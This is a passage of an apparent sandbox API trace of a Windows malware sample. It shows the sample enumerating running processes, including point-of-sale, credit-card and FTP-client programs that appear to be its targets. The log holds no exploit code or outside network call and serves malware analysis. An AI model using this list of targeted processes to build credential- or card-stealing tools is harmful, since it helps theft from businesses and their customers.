| out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0279.762] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0279.764] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0279.766] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0279.768] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0279.771] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0279.773] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0279.774] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0279.777] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0279.779] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0279.782] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0279.784] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0279.786] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0279.789] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0279.792] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0279.831] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.833] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0279.836] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0279.839] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0279.841] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0279.843] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0279.845] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0279.847] CloseHandle (hObject=0x21b0) returned 1 [0279.847] Sleep (dwMilliseconds=0x64) [0279.848] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21b0 [0279.894] Process32First (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.896] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0279.897] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0279.899] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.901] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0279.903] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.905] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0279.907] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0279.910] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0279.912] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.916] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.918] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0279.921] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.923] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.926] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.928] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.931] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.933] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.981] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.983] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0279.986] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0279.988] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0279.991] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.994] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0279.996] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0279.999] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0280.001] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0280.004] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0280.006] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0280.008] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0280.011] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.014] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0280.016] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0280.019] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0280.021] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0280.024] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0280.026] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0280.029] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0280.067] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0280.072] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0280.073] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0280.075] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0280.077] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0280.080] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0280.082] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0280.083] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0280.085] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0280.088] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0280.090] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0280.091] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0280.093] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0280.095] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0280.097] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0280.098] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0280.100] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0280.102] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0280.103] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0280.105] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0280.107] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0280.110] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0280.112] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, 